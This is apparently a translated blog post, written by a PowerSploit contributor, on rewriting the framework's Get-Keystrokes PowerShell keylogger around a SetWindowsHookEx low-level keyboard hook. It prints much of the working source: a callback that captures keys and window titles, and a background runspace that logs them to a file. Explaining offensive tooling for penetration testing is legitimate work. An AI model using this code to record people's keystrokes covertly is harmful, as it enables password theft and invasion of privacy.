最近,我有幸得到了一个参与项目开发的机会,该项目叫PowerSploit,(PowerSploit是又一款Post Exploitation相关工具,Post Exploitation是老外渗透测试标准里面的东西,就是获取shell之后干的一些事情。PowerSploit其实就是一些powershell 脚本,包括Inject-Dll(注入dll到指定进程)、Inject-Shellcode(注入shellcode到执行进程)、Encrypt- Script(文本或脚本加密)、Get-GPPPassword(通过groups.xml获取明文密码)、Invoke- ReverseDnsLookup(扫描 DNS PTR记录))。我从该项目中学到了有关Post Exploitation的知识,并且获得了一些开发经验。去年圣诞节后的第二天,我得到了要用powershell编写一个键盘记录器的消息。同时在邮箱中,看到了这样一封电子邮件,说要开发一个windows键盘记录器,这激起了我的兴趣。Coldalfred在邮件写道:“当我将PollingInterval参数设置为40 ,100,或1000时,就出现运行错误,使得Powershell占用了大量的内存,出现这种现象正常么?”正好当时我有时间,于是,我就决定要弄清楚这个问题的原因,找找看解决的办法。
通过研究,我遇到了和Coldalfred同样的问题。事实证明,PollingInterval参数没能被传递到初始化例程中。这个参数设置了一个睡眠指令,作为记录键盘操作的主要方式。当输入值为空时,系统就会执行该指令,并出现一个要终止操作的对话框,系统将进入睡眠状态。因为系统是在Coldalfred所描述的那个特殊环境下进行运行,才出现了这个问题。而在一般情况下,这个错误并不会发生。而他正是想要掩盖这个错误,才使得Powershell占用了大量内存,造成了内存空间的过度消耗。
我的初衷是想要修复PollingInterval参数,以及用一个新的工作域来代替之前使用的那个。下面的代码片段,就强调了这一点:
与此同时,对Coldalfred所发现的问题进行评论的系统,PowerSploit项目的发起人已经将其关闭了。“对于开发键盘记录器,SetWindowsHookEx应该比其他脚本更适合,但它有一定的运行条件,即:在磁盘上必须装有DLL文件(DLL文件:动态链接库文件)。”使用SetWindowsHookEx的好处在于,你可以实时控制桌面上所有程序进程的运行状态,并且在创建新进程时,保证数据的安全传递,而不是像以前那样,必须在GetAsyncKeystate的协助下,详尽地检查每个键的状态,同时,也避免了丢失数据的发生。我在这方面做了些研究,看到了一个有趣的解决方法,它是由一名叫做Hans Passant的研究员提出的。他说,实际上这种软件有两种类型,它们都不需要DLL,其中一个还是为那些键盘信息输入量较少的用户设计的。黑客在使用这类软件(如灰鸽子)来盗取用户信息时,使用一种带有循环队列的钩子技术(Hook),在队列中检查用户的键盘输入记录。下面的PeekMessage函数,就是用来检查队列过滤器中指定的键盘信息(0x100,0x109),并进行处理。
尽管Powershell和C#都用的.Net的框架结构,并且和Windows API有很好的兼容性,但是那些在C#中可以轻松实现的功能,换到Powershell中的话,就需要做一些改变了。我所做的这次尝试只是其中的一次。在使用SetWindowsHookEx时,必须先用LowLevelKeyboardProc定义一个具有回调功能的函数,才能实现对键盘消息的检索处理。这就意味着,我必须找到一个非托管API函数,作为回调函数,来执行.Net脚本。值得庆幸的是,我已经了解了有关之前的互联网漫游技术中所提到的,在Powershell中如何使用非托管函数的方法,并且能够实现该函数功能了。如下面代码所示:
# Define callback
$CallbackScript = {
Param (
[Int32]$Code,
[IntPtr]$wParam,
[IntPtr]$lParam
)
$MsgType = $wParam.ToInt32()
# Process WM_KEYDOWN & WM_SYSKEYDOWN messages
if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
# Get handle to foreground window
$hWindow = $GetForegroundWindow.Invoke()
# Read virtual-key from buffer
$vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)
# Parse virtual-key
if ($vKey -gt 64 -and $vKey -lt 91) { Alphabet characters }
elseif ($vKey -ge 96 -and $vKey -le 111) { Number pad characters }
elseif (($vKey -ge 48 -and $vKey -le 57) -or `
($vKey -ge 186 -and $vKey -le 192) -or `
($vKey -ge 219 -and $vKey -le 222)) { Shiftable characters }
else { Special Keys }
# Get foreground window's title
$Title = New-Object Text.Stringbuilder 256
$GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)
# Define object properties
$Props = @{
Key = $Key
Time = [DateTime]::Now
Window = $Title.ToString()
}
New-Object psobject -Property $Props
}
# Call next hook or keys won't get passed to intended destination
return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
}
# Cast scriptblock as LowLevelKeyboardProc callback
$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
$Callback = $CallbackScript -as $Delegate
# Set WM_KEYBOARD_LL hook
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
而之后要做的就是,将这些封装起来,放到一个单独的工作域中进行执行。
function Get-Keystrokes {
[CmdletBinding()]
Param (
[Parameter(Position = 0)]
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
[String]$LogPath = "$($env:TEMP)key.log",
[Parameter(Position = 1)]
[Double]$Timeout,
[Parameter()]
[Switch]$PassThru
)
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
catch { throw $_ }
$Script = {
Param (
[Parameter(Position = 0)]
[String]$LogPath,
[Parameter(Position = 1)]
[Double]$Timeout
)
# function local:Get-DelegateType
# function local:Get-ProcAddress
# Imports
# $CallbackScript
# Cast scriptblock as LowLevelKeyboardProc callback
# Get handle to PowerShell for hook
# Set WM_KEYBOARD_LL hook
# Message loop
# Remove the hook
$UnhookWindowsHookEx.Invoke($Hook)
}
# Setup KeyLogger's runspace
$PowerShell = [PowerShell]::Create()
[void]$PowerShell.AddScript($Script)
[void]$PowerShell.AddArgument($LogPath)
if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }
# Start KeyLogger
[void]$PowerShell.BeginInvoke()
if ($PassThru.IsPresent) { return $PowerShell }
}
完整的源代码可以在后面这个网页中找到:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Exfiltration/Get-Keystrokes.ps1
还没有评论,来说两句吧...